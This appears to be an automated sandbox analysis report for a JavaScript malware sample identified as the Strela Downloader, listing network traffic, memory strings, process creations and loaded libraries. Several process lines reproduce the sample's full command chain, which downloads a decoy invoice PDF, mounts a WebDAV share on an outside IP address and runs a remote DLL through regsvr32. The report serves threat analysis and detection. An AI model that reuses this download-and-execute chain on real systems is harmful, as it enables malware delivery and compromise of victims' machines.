Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2050135026.000001FBB742C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2110700130.000002234C8BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2107136030.000002234C8AE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110700130.000002234C8AE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2106672335.000002234C8DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2107136030.000002234C8BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2110700130.000002234C8BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000007.00000002.2110582081.000002234C888000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.3323429520.000001AC732A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2109483076.000001AC73150000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3228, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1554336511338510086.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5452:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ahdadtn.fwx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1554336511338510086.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1584,i,5818682069850965667,16294001736316317126,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1584,i,5818682069850965667,16294001736316317126,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
